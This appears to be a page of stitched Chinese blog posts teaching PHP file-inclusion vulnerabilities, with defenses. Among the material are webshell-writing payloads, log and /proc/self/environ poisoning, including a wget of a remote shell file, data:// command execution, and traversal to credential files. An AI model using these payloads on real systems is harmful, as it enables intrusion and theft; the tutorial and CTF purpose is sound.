精华内容
下载资源
问答
  • 文件包含

    千次阅读 2018-01-12 09:28:47
    文件包含原理 文件包含 开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含 文件包含漏洞 开发人员为了使代码更灵活,会将被包含文件设置...

    文件包含原理

    1. 文件包含
      开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含
    2. 文件包含漏洞
      开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞

    文件包含分类

    1. 本地文件包含
      包含服务器本身存在的恶意文件
      a.txt

      <?php phpinfo();?>

      b.php

      <?php
      $b=$_GET['id'];
      include($b);
      ?>

      payload:

      localhost/b.php?id=a.txt //返回phpinfo页面

      注:

      • 两个文件在同一目录下(若不在同一目录这被包含的文件路径必须写绝对路径或相对路径)
      • 被包含的页面的后缀无论是什么都会当做PHP解析
    2. 远程文件包含
      包含其他网站上的恶意文件
      远程文件包含利用条件:

      • 在php.ini中allow_url_fopen=on、allow_url_include=on

      payload:

      localhost/b.php?id=http://ip/文件路径

      注:

      • 远程包含的文件路径必须是绝对路径

    存在文件包含的脚本语言及应用函数

    • php
    include():执行到include函数时才文件包含,找不到被包含的文件路径时,发出警告,脚本继续运行
    require():只要程序一运行就进行文件包含,找不到被包含的文件路径时,产生致命错误,脚本停止运行
    include_once()与require():与上述函数一样,只是若文件中代码已经被包含则不会再次包含
    • jsp/servlet
    ava.io.file()
    java.io.filereader()
    • asp
    include file
    include virtual

    各个协议实现命令执行

    • %00截断
    是否需要截断是根据包含函数后有没有对包含的文件进行拼接一个后缀,如果有就需要使用%00进行截断
    当php版本<=5.2使用%00截断
    • file://:用于访问本地文件系统
    条件(php.ini):
        allow_url_fopen   off/on
        allow_url_include off/on
    使用方法:file://[文件的绝对路径和文件名]
    • php://:访问各个输入输出流
    php伪协议:
        php://filter:用于读取源码并进行bash64编码输出;
        条件(php.ini):
            allow_url_fope   off/on
            allow_url_include off/on
        php://input:可以访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行;
        条件(php.ini):
            allow_url_fope   off/on
            allow_url_include on
        php://stdin是只读的,php://stdout 和 php://stderr 是只写的。
        php://output 是一个只写的数据流, 允许你以 print 和 echo 一样的方式 写入到输出缓冲区。
        php://fd 允许直接访问指定的文件描述符。
    • zip://,bzip://,zlib://:均属于压缩流,可以访问压缩文件中的子文件,不需要传后缀名
    条件:
        allow_url_fope   off/on
        allow_url_include off/on
    zip://使用方法:
        zip://[压缩文件绝对路径]#[压缩文件内的子文件名]
    bzip2://使用方法:
        bzip2://file.bz2
    zlib://使用方法:
        zlib://file.gz
    • data://
    条件:
        allow_url_fope   on
        allow_url_include on

    这里写图片描述

    • phar://:数据流包装器

    文件包含利用场景

    • 包含上传文件
    用户上传了一个可执行文件,通过文件包含那个文件实现漏洞利用
    防御:
        做好上传限制
        隐藏好文件路径
        设置访问权限、执行权限
    • 伪协议
    php://input:用来接收POST数据。我们能够通过input把我们的语句输入上去然后执行。
    条件:
        php <5.0 ,allow_url_include=Off 情况下也可以用
        php > 5.0,只有在allow_url_fopen=On 时才能使用
    例:
        http://localhost/include/file.php?file=php://input     //URL
        <?php fputs(fopen("a.php","w"),"<?php phpinfo();?>")?>  //POST,创建一个文件a.php;并写入phpinfo
    data://:将原本的include的文件流重定向到了用户可控制的输入流中
    条件:
        allow_url_include=On
        php > 5.2
    例:
        http://localhost/file.php?file=data:text/plain;base64,PD9waHAgc3lzdGVtKHdob2FtaSk/Pg==      //base64加密<?php system(whoami);?>;直接执行命令
        http://localhost/image.php?imagedata=data://image/jpeg;base64,..... // 后面加上图片木马;图片命令执行
    php://filter:这个语句用来查看源码。直接包含php文件时会被解析,不能看到源码,所以用filter来读取,不过要先base64加密传输过
    例:
        http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=C:\oneword    //可以跟绝对路径也可以跟相对路径
        http://localhost/file.php?file=php://filter/read=convert.base64-encode/resource=[http|https|ftp]://www.bbb.com/2.txt   //远程路径
    防御:
        尽量使用安全版本的php
        做好php的安全配置
        对相应目录做相应权限设置
    • 包含日志文件
    1、日志的默认路径
        /etc/httpd/logs/access_log或/var/log/httpd/access_log        //apache+linux
        D:xamppapachelogsaccess.log或D:xamppapachelogserror.log  //apache_win2003
        C:WINDOWSsystem32Logfiles                     //iis6.0+win2003
        %SystemDrive%inetpublogsLogFiles            //iis7.0+win2003
        nginx 日志文件在用户安装目录的logs目录下
    2、web中间件默认配置uoh文件
        /etc/httpd/conf/httpd.conf或index.php?page=/etc/init.d/httpd        //apache+linux
        C:/Windows/system32/inetsrv/metabase.xml          //iis6.0+win2003
        C:WindowsSystem32inetsrvconfigapplicationHost.config           //iis7.0+win
    3、利用
        访问http://www.xx.com/<?php phpinfo(); ?>时,<?php phpinfo(); ?>也会被记录在日志里,也可以插入到User-Agent;但是在日志里这句话被编码了;所以用Burp Suite修改来绕过编码;然后包含相应的日志文件:
        http://localhost/include/file.php?file=../../apache/logs/access.log //(这里利用相对路径,找到日志文件,并以php解析的方式打开)
    4、防御
        隐藏或修改默认日志文件
        设置日志文件读取权限
    • 包含/proc/self/environ
    1、找文件包含漏洞
        www.aaa.com/view.php?page=../
        www.aaa.com/view.php?page=../../../../../etc/passwd
    2、检查proc/self/environ是否可以访问
        www.aaa.com/view.php?page=../../../../../proc/self/environ
    3、如果可读就注入代码
        访问:www.aaa.com/view.php?page=../../../../../proc/self/environ
        选择User-Agent 写代码如下:<?system('wget http://www.yourweb.com/oneword.txt -O shell.php');?>    //提交请求;我们的命令将被执行(将下载http://www.yourweb.com/oneword.txt,并将其保存为它在shell.php网站目录),我们的shell也就被创建,.如果不行,尝试使用exec(),因为系统可能被禁用的从php.ini网络服务器.
    4、访问shell
    5、防御:
        设置proc/self/environ不可访问
    • 包含Session文件
    ?file=../../../../../../tmp/sess_1sv3pu01f97dp3qcfef8i2b9r2         //读取session文件

    常见的绕过与防御

    • %00截断(php<5.3.4)
    说明:
        PHP内核是由C语言实现的,因此使用了C语言中的一些字符串处理函数。在连接字符串时,0字节(x00)将作为字符串的结束符。所以在这个地方,攻击者只要在最后加入一个0字节,就能截断file变量之后的字符串。
    防御:
        禁用0字节
    • 超长字符截断
    利用:
        利用操作系统对目录最大长度的限制,可以不需要0字节而达到截断的目的。
        我们知道目录字符串,在window256字节、linux下4096字节时会达到最大值,最大值长度之后的字符将被丢弃。
        而利用"./"的方式即可构造出超长目录字符串
    防御:
        限制用户输入字符长度
    • 任意目录遍历
    利用:
        使用"../../../"这样的方式来返回到上层目录中,这种方式又被称为"目录遍历(Path Traversal)"。常见的目录遍历漏洞,还可以通过不同的编码方式来绕过一些服务器端的防御逻辑(WAF)
    防御:
        目录遍历漏洞是一种跨越目录读取文件的方法,但当PHP配置了open_basedir时,将很好地保护服务器,使得这种攻击无效。
        open_basedir的作用是限制在某个特定目录下PHP能打开的文件(有点像chroot的感觉)
    • 问号截断
    利用:
        http://localhost/FIleInclude/index.php?path=http://localhost/test/solution.php?
    防御:
        关闭远程文件包含的配置选项allow_url_include = Off

    防御总结

    1、无需情况下设置allow_url_include和allow_url_fopen为关闭
    2、对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录,如open_basedir
    3、尽量不使用动态包含
    4、严格检查变量是否已经初始化。
    5、建议假定所有输入都是可疑的,尝试对所有输入提交可能可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现../之类的目录跳转符。
    6、严格检查include类的文件包含函数中的参数是否外界可控。
    7、不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
    8、在发布应用程序之前测试所有已知的威胁。
    展开全文
  • 文件包含文件包含漏洞知识总结

    千次阅读 多人点赞 2019-06-28 08:38:41
    文件包含文件包含漏洞知识总结 Hello,各位小伙伴周五好~ 这里是你们的劳模小编~ 之前一期,我们已经一起总结了文件上传和文件解析漏洞。 今天我们就一起来看看文件包含漏洞吧~ 一、什么是文件包含漏洞? 1、...

    【文件包含】文件包含漏洞知识总结

    Hello,各位小伙伴周五好~

    这里是你们的劳模小编~

    在这里插入图片描述

    之前一期,我们已经一起总结了文件上传和文件解析漏洞。

    今天我们就一起来看看文件包含漏洞吧~


    一、什么是文件包含漏洞?

    1、文件包含概述

    和SQL注入等攻击方式一样,文件包含漏洞也是一种“注入型漏洞”,其本质就是输入一段用户能够控制的脚本或者代码,并让服务器端执行。

    什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程就叫做包含。

    有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。

    以PHP为例,常用的文件包含函数有以下四种:

    include(),require(),include_once(),require_once()

    区别如下:

    • require(),找不到被包含的文件时会产生致命错误,并停止脚本运行。
    • include(),找不到被包含的文件时只会产生警告,脚本将继续运行。
    • include_once()与include()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。
    • require_once()与require()类似,唯一区别是如果该文件中的代码已经被包含,则不会再次包含。

    2、漏洞成因分析

    我们先直接来看一个简单的例子,网页代码如下:

    在这里插入图片描述

    再创建一个phpinfo.php页面,代码如下:

    在这里插入图片描述

    利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析:

    在这里插入图片描述
    将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:

    在这里插入图片描述
    修改为jpg格式,也可以解析:

    在这里插入图片描述

    可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

    在上一期文件上传漏洞的总结中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当作php文件进行解析,现在知道是为什么了吧~

    我们将phpinfo.jpg的内容改成一段文字:

    在这里插入图片描述

    再次进行访问,可以读出文本内容:

    在这里插入图片描述

    利用这个特性,我们可以读取一些包含敏感信息的文件。

    二、本地文件包含漏洞

    能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)。

    测试网页包含如下代码:

    在这里插入图片描述

    网站利用文件包含功能读取一些php文件,例如phpinfo:

    在这里插入图片描述

    利用该代码,我们可以读取一些系统本地的敏感信息。

    例如C:\Windows\system.ini文件。

    (1)使用绝对路径

    使用绝对路径直接进行读取:

    在这里插入图片描述

    (2)使用相对路径进行读取:

    当前页面所在路径为C:\Apache24\htdocs\,我们需要使用…/退到C盘再进行访问,构造路径如下:

    …/…/windows/system.ini

    成功读取到文件信息:

    在这里插入图片描述

    ./表示当前位置路径,…/表示上一级路径位置,在linux中同样适用。

    (3)一些常见的敏感信息路径:

    Windows系统:

    • c:\boot.ini // 查看系统版本
    • c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
    • c:\windows\repair\sam // 存储Windows系统初次安装的密码
    • c:\ProgramFiles\mysql\my.ini // MySQL配置
    • c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
    • c:\windows\php.ini // php 配置信息

    Linux/Unix系统:

    • /etc/passwd // 账户信息
    • /etc/shadow // 账户密码文件
    • /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
    • /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
    • /usr/local/app/php5/lib/php.ini // PHP相关配置
    • /etc/httpd/conf/httpd.conf // Apache配置文件
    • /etc/my.conf // mysql 配置文件

    三、LFI漏洞利用技巧

    1、字符串截断

    首先我们来看一段改进后的代码:

    在这里插入图片描述

    我们去读取根目录下的site目录中的phpinfo.php文件:

    在这里插入图片描述

    此时如果我们想通过文件包含漏洞读取本地敏感信息,就会遇到一些问题。因为服务器会给路径加上./site/路径,以及.php后缀。

    此时我们可以使用使用%00截断:

    %00为结束符,在filename后带上%00,就可以截断末尾的.php。

    当前路径为./site/,如果要读取system.ini,则需要输入:…/…/…/windows/system.ini%00,成功读取如下:

    在这里插入图片描述

    需要注意的是,%00截断需要php版本小于5.3.4,且关闭magic_quotes_gpc功能。

    2、配合文件上传使用

    有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。

    以DVWA平台为例,编辑一个图片马,内容如下:

    在这里插入图片描述

    找到上传点进行上传:

    在这里插入图片描述

    文件保存的完整路径为:

    C:\phpStudy\WWW\hackable\uploads\webshell.jpg

    DVWA平台low等级文件包含漏洞页面如下:

    在这里插入图片描述

    该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下:

    在这里插入图片描述

    现在我们利用该页面去执行我们上传的图片马,路径需要从C:\phpStudy\WWW\vulnerabilities\fi\ 转到C:\phpStudy\WWW\hackable\uploads\webshell.jpg

    构造URL如下,页面无报错:

    在这里插入图片描述

    可以看到fi文件夹中生成了一个webshell:

    在这里插入图片描述

    使用webshell管理工具连接即可。

    注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。

    3、包含Apache日志文件

    有时候网站存在文件包含漏洞,但却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。

    在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:

    在这里插入图片描述

    当我们正常访问一个网页时,如http://127.0.0.1/login.php,access日志会进行记录,如下图所示:

    在这里插入图片描述

    如果我们访问一个不存在的资源,也一样会进行记录,例如访问

    127.0.0.1/<?php phpinfo();?>

    但查看日志会发现被编码了,如下:

    在这里插入图片描述

    我们再次进行访问,并使用burp抓包,发现被编码:

    在这里插入图片描述
    我们将报文修改回去,再进行发送即可:
    在这里插入图片描述
    此时再查看access日志,正确写入php代码:

    在这里插入图片描述

    再通过本地文件包含漏洞访问,即可执行:

    在这里插入图片描述

    我可以在此处写入一句话木马,再使用Webshell管理工具进行连接。

    四、远程文件包含

    如果PHP的配置选项allow_url_include、allow_url_fopen状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞(RFI)。

    在这里插入图片描述

    首先我们来看一段代码:

    在这里插入图片描述

    访问本地phpinfo.php文件:

    在这里插入图片描述

    该页面并没有对$path做任何过滤,因此存在文件包含漏洞。

    我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。

    但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.2.7,不适用。

    还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:

    在这里插入图片描述

    如果test.php是恶意webshell文件,那么利用该漏洞就可以获取到服务器权限。

    五、PHP伪协议

    PHP内置了很多URL风格的封装协议,可用于类似 fopen()、 copy()、 file_exists() 和 filesize() 的文件系统函数,如下所示:

    在这里插入图片描述

    1、php://filter

    有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开data目录下的config.php:

    在这里插入图片描述

    这时候我们可以以base64编码的方式读取指定文件的源码:

    输入:php://filter/convert.base64-encode/resource=文件路径

    得到config.php加密后的源码:

    在这里插入图片描述

    再进行base64解码,获取到数据库账号等敏感信息:

    在这里插入图片描述

    2、data://

    利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:

    在这里插入图片描述
    如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:

    在这里插入图片描述

    3、zip:// 执行压缩文件

    如果网站允许我们上传压缩文件,我们也可以将php文件压缩后进行上传,再通过zip://协议执行。

    以DVWA平台为例,我们将phpinfo.php文件进行压缩后上传:

    在这里插入图片描述

    通过zip://协议执行zip压缩包中的phpinfo.php文件:

    在这里插入图片描述

    4、php://input

    利用该方法,我们可以直接写入php文件,输入file=php://input,然后使用burp抓包,写入php代码:

    在这里插入图片描述

    发送报文,可以看到本地生成了一句话木马:

    在这里插入图片描述

    5、伪协议利用条件

    伪协议的利用方法还有很多,这里就不一一举例了。

    伪协议的用法小结:

    在这里插入图片描述

    六、文件包含漏洞防护

    1、使用str_replace等方法过滤掉危险字符

    2、配置open_basedir,防止目录遍历

    3、php版本升级,防止%00截断

    4、对上传的文件进行重命名,防止被读取

    5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件

    6、做好管理员权限划分,做好文件的权限管理


    好啦,以上就是今天的全部内容了,大家都明白了吗?

    在这里插入图片描述
    最后,欢迎关注我的个人微信公众号。

    Peace !
    在这里插入图片描述

    展开全文
  • CTF中文件包含漏洞总结

    万次阅读 多人点赞 2019-02-13 00:15:33
    CTF中文件包含漏洞总结 0x01 什么是文件包含漏洞 通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。 0x02 文件包含漏洞的环境...

    CTF中文件包含漏洞总结


    0x01 什么是文件包含漏洞

    通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

    0x02 文件包含漏洞的环境要求

    • allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
    • allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

    0x03 常见文件包含函数

    php中常见的文件包含函数有以下四种:

    • include()
    • require()
    • include_once()
    • require_once()

    include与require基本是相同的,除了错误处理方面:

    • include(),只生成警告(E_WARNING),并且脚本会继续
    • require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
    • include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

    0x04 PHP伪协议

    PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

    一、php://input

    php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
    在这里插入图片描述

    Example 1: 造成任意代码执行

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://filter") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	if ($file!="http://www.baidu.com") echo "tips:flag在当前目录的某个文件中";
    	include($file);
    }else{
    	echo '<a href="?file=http://www.baidu.com">click go baidu</a>';
    }
    ?>
    

    在这里插入图片描述
    在这里插入图片描述
    在这里插入图片描述
    注:利用php://input还可以写入php木马,即在post中传入如下代码:

    <?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>
    

    Example 2: 文件内容绕过

    //test.php
    <?php
    show_source(__FILE__);
    include('flag.php');
    $a= $_GET["a"];
    if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
    	echo "success\n";
    	echo $flag;
    }
    
    //flag.php
    <?php
    $flag = 'flag{flag_is_here}';
    ?>
    

    审计test.php知,当参数$a不为空,且读取的文件中包含’I want flag’时,即可显示$flag。所以可以使用php://input得到原始的post数据,访问请求的原始数据的只读流,将post请求中的数据作为PHP代码执行来进行绕过。
    注:遇到file_get_contents()要想到用php://input绕过。

    在这里插入图片描述

    二、php://filter

    php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取。
    在这里插入图片描述
    在这里插入图片描述
    POC1直接读取xxx.php文件,但大多数时候很多信息无法直接显示在浏览器页面上,所以需要采取POC2中方法将文件内容进行base64编码后显示在浏览器上,再自行解码。

    注:更多php://filter用法可参考:谈一谈php://filter的妙用

    Example 1:

    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
    	exit('hacker!');
    }
    if($file){
    	include($file);
    }else{
    	echo '<a href="?file=flag.php">tips</a>';
    }
    ?>
    

    1.点击tip后进入如下页面,看到url中出现file=flag.php,如下:
    在这里插入图片描述
    2.尝试payload:?file=php://filter/resource=flag.php,发现无法显示内容:
    在这里插入图片描述
    3.尝试payload:?file=php://filter/read=convert.base64-encode/resource=flag.php,得到一串base64字符,解码得flag在flag.php源码中的注释里:

    在这里插入图片描述

    三、zip://

    zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

    • zip://中只能传入绝对路径。
    • 要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23(即下述POC中#要用%23替换)
    • 只需要是zip的压缩包即可,后缀名可以任意更改。
    • 相同的类型的还有zlib://和bzip2://
      在这里插入图片描述
      Example 1:
    //index.php
    <meta charset="utf8">
    <?php
    error_reporting(0);
    $file = $_GET["file"];
    if (!$file) echo '<a href="?file=upload">upload?</a>';
    if(stristr($file,"input")||stristr($file, "filter")||stristr($file,"data")/*||stristr($file,"phar")*/){
    	echo "hick?";
    	exit();
    }else{
    	include($file.".php");
    }
    ?>
    <!-- flag在当前目录的某个文件中 -->
    
    //upload.php
    <meta charset="utf-8">
    <form action="upload.php" method="post" enctype="multipart/form-data" >
    	 <input type="file" name="fupload" />
     	<input type="submit" value="upload!" />
    </form>
    you can upload jpg,png,zip....<br />
    <?php
    if( isset( $_FILES['fupload'] ) ) {
        $uploaded_name = $_FILES[ 'fupload' ][ 'name' ];         //文件名
        $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);   //文件后缀
        $uploaded_size = $_FILES[ 'fupload' ][ 'size' ];         //文件大小
        $uploaded_tmp  = $_FILES[ 'fupload' ][ 'tmp_name' ];     // 存储在服务器的文件的临时副本的名称
        $target_path = "uploads\\".md5(uniqid(rand())).".".$uploaded_ext;
        if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" || strtolower( $uploaded_ext ) == "zip" ) &&
            ( $uploaded_size < 100000 ) ) {
            if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {// No
                echo '<pre>upload error</pre>';
            }
            else {// Yes!
                echo "<pre>".dirname(__FILE__)."\\{$target_path} succesfully uploaded!</pre>";
            }
        }
        else {
            echo '<pre>you can upload jpg,png,zip....</pre>';
        }
    }
     ?>
    

    四、data://与phar://

    data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
    在这里插入图片描述

    phar:// 有点类似zip://同样可以导致 任意代码执行。

    • phar://中相对路径和绝对路径都可以使用
      在这里插入图片描述

    0x05 包含Apache日志文件

      WEB服务器一般会将用户的访问记录保存在访问日志中。那么我们可以根据日志记录的内容,精心构造请求,把PHP代码插入到日志文件中,通过文件包含漏洞来执行日志中的PHP代码。
    在这里插入图片描述
    在这里插入图片描述
      Apache运行后一般默认会生成两个日志文件,Windos下是access.log(访问日志)和error.log(错误日志),Linux下是access_log和error_log,访问日志文件记录了客户端的每次请求和服务器响应的相关信息。
      如果访问一个不存在的资源时,如http://www.xxxx.com/<?php phpinfo(); ?>,则会记录在日志中,但是代码中的敏感字符会被浏览器转码,我们可以通过burpsuit绕过编码,就可以把<?php phpinfo(); ?> 写入apache的日志文件,然后可以通过包含日志文件来执行此代码,但前提是你得知道apache日志文件的存储路径,所以为了安全起见,安装apache时尽量不要使用默认路径。

    参考文章:1.包含日志文件getshell
         2.一道包含日志文件的CTF题

    0x06 包含SESSION

    可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。

    利用条件:

    • 找到Session内的可控变量
    • Session文件可读写,并且知道存储路径

    php的session文件的保存路径可以在phpinfo的session.save_path看到。
    在这里插入图片描述
    session常见存储路径:

    • /var/lib/php/sess_PHPSESSID
    • /var/lib/php/sess_PHPSESSID
    • /tmp/sess_PHPSESSID
    • /tmp/sessions/sess_PHPSESSID
    • session文件格式: sess_[phpsessid] ,而 phpsessid 在发送的请求的 cookie 字段中可以看到。

    参考文章:一道SESSION包含的CTF题

    0x06 包含/pros/self/environ

    proc/self/environ中会保存user-agent头,如果在user-agent中插入php代码,则php代码会被写入到environ中,之后再包含它,即可。

    利用条件:

    • php以cgi方式运行,这样environ才会保持UA头。
    • environ文件存储位置已知,且environ文件可读。

    参考文章:proc / self / environ Injection

    0x07 包含临时文件

    在这里插入图片描述
    php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用c:\winsdows\temp目录。在临时文件被删除之前,利用竞争即可包含该临时文件。

    由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的随机函数有缺陷,而window下只有65535中不同的文件名,所以这个方法是可行的。

    另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。这个方法可以参考LFI With PHPInfo Assistance

    类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题:XMAN夏令营-2017-babyweb-writeup

    0x08 包含上传文件

    很多网站通常会提供文件上传功能,比如:上传头像、文档等,这时就可以采取上传一句话图片木马的方式进行包含。

    图片马的制作方式如下,在cmd控制台下输入:

    进入1.jph和2.php的文件目录后,执行:
    
    copy  1.jpg/b+2.php  3.jpg
    
    将图片1.jpg和包含php代码的2.php文件合并生成图片马3.jpg
    

    假设已经上传一句话图片木马到服务器,路径为/upload/201811.jpg
    图片代码如下:

    <?fputs(fopen("shell.php","w"),"<?php eval($_POST['pass']);?>")?>
    

    然后访问URL:http://www.xxxx.com/index.php?page=./upload/201811.jpg,包含这张图片,将会在index.php所在的目录下生成shell.php

    0x09 其他包含姿势

    • 包含SMTP(日志)
    • 包含xss



    文件包含漏洞的绕过方法


    0x09 指定前缀绕过

    一、目录遍历

    使用 ../../ 来返回上一目录,被称为目录遍历(Path Traversal)。例如 ?file=../../phpinfo/phpinfo.php
    测试代码如下:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//前缀
    	include "/var/www/html/".$file;
    
    	highlight_file(__FILE__);
    ?>
    

    现在在/var/log目录下有文件flag.txt,则利用…/可以进行目录遍历,比如我们尝试访问:

     include.php?file=../../log/flag.txt
    

    则服务器端实际拼接出来的路径为:/var/www/html/../../log/test.txt,即 /var/log/flag.txt,从而包含成功。

    二、编码绕过

    服务器端常常会对于../等做一些过滤,可以用一些编码来进行绕过。
    1.利用url编码

    • ../

      • %2e%2e%2f
      • ..%2f
      • %2e%2e/
    • ..\

      • %2e%2e%5c
      • ..%5c
      • %2e%2e\

    2.二次编码

    • ../
      • %252e%252e%252f
    • ..\
      • %252e%252e%255c

    3.容器/服务器的编码方式


    0x10 指定后缀绕过

    后缀绕过测试代码如下,下述各后缀绕过方法均使用此代码:

    <?php
    	error_reporting(0);
    	$file = $_GET["file"];
    	//后缀
    	include $file.".txt";
    
    	highlight_file(__FILE__);
    ?>
    

    一、利用url

    在远程文件包含漏洞(RFI)中,可以利用query或fragment来绕过后缀限制。
    可参考此文章:URI’s fragment

    完整url格式:

    protocol :// hostname[:port] / path / [;parameters][?query]#fragment
    

    query(?)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php?
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php?.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述
    fragment(#)

    • [访问参数] ?file=http://localhost:8081/phpinfo.php%23
    • [拼接后]  ?file=http://localhost:8081/phpinfo.php#.txt

    Example:(设在根目录下有flag2.txt文件)
    在这里插入图片描述
    在这里插入图片描述

    二、利用协议

    利用zip://和phar://,由于整个压缩包都是我们的可控参数,那么只需要知道他们的后缀,便可以自己构建。

    zip://

    • [访问参数] ?file=zip://D:\zip.jpg%23phpinfo
    • [拼接后]  ?file=zip://D:\zip.jpg#phpinfo.txt

    phar://

    • [访问参数] ?file=phar://zip.zip/phpinfo
    • [拼接后]  ?file=phar://zip.zip/phpinfo.txt

    Example:
    (我的环境根目录中有php.zip压缩包,内含phpinfo.txt,其中包含代码<?php phpinfo();?>))
    所以分别构造payload为:

    ?file=zip://D:\PHPWAMP_IN3\wwwroot\php.zip%23phpinfo
    在这里插入图片描述
    ?file=phar://../../php.zip/phpinfo
    在这里插入图片描述

    三、长度截断

    利用条件:

    • php版本 < php 5.2.8

    原理:

    • Windows下目录最大长度为256字节,超出的部分会被丢弃
    • Linux下目录最大长度为4096字节,超出的部分会被丢弃。

    利用方法:

    • 只需要不断的重复 ./(Windows系统下也可以直接用 . 截断)

        ?file=./././。。。省略。。。././shell.php
      

    则指定的后缀.txt会在达到最大值后会被直接丢弃掉

    四、%00截断

    利用条件:

    • magic_quotes_gpc = Off
    • php版本 < php 5.3.4

    利用方法:

    • 直接在文件名的最后加上%00来截断指定的后缀名

        ?file=shell.php%00
      

    注:现在用到%00阶段的情况已经不多了



    文件包含漏洞防御


    • allow_url_include和allow_url_fopen最小权限化

    • 设置open_basedir(open_basedir 将php所能打开的文件限制在指定的目录树中)

    • 白名单限制包含文件,或者严格过滤 . / \

    展开全文
  • 文件包含漏洞

    千次阅读 2016-09-01 11:13:26
    首先,本地文件包含就是通过浏览器引进(包含)Web服务器上的文件,这种漏洞一般发生浏览器包含文件时没有进行严格的过滤,允许遍历目录的字符注入浏览器并执行(比如:asp?file=index.html)。 其次,

    1、什么是文件包含漏洞

    文件包含,包括本地文件包含(Locao file inclusion,LFI)和远程文件包含(Remote File Inclusion,RFI)两种形式。

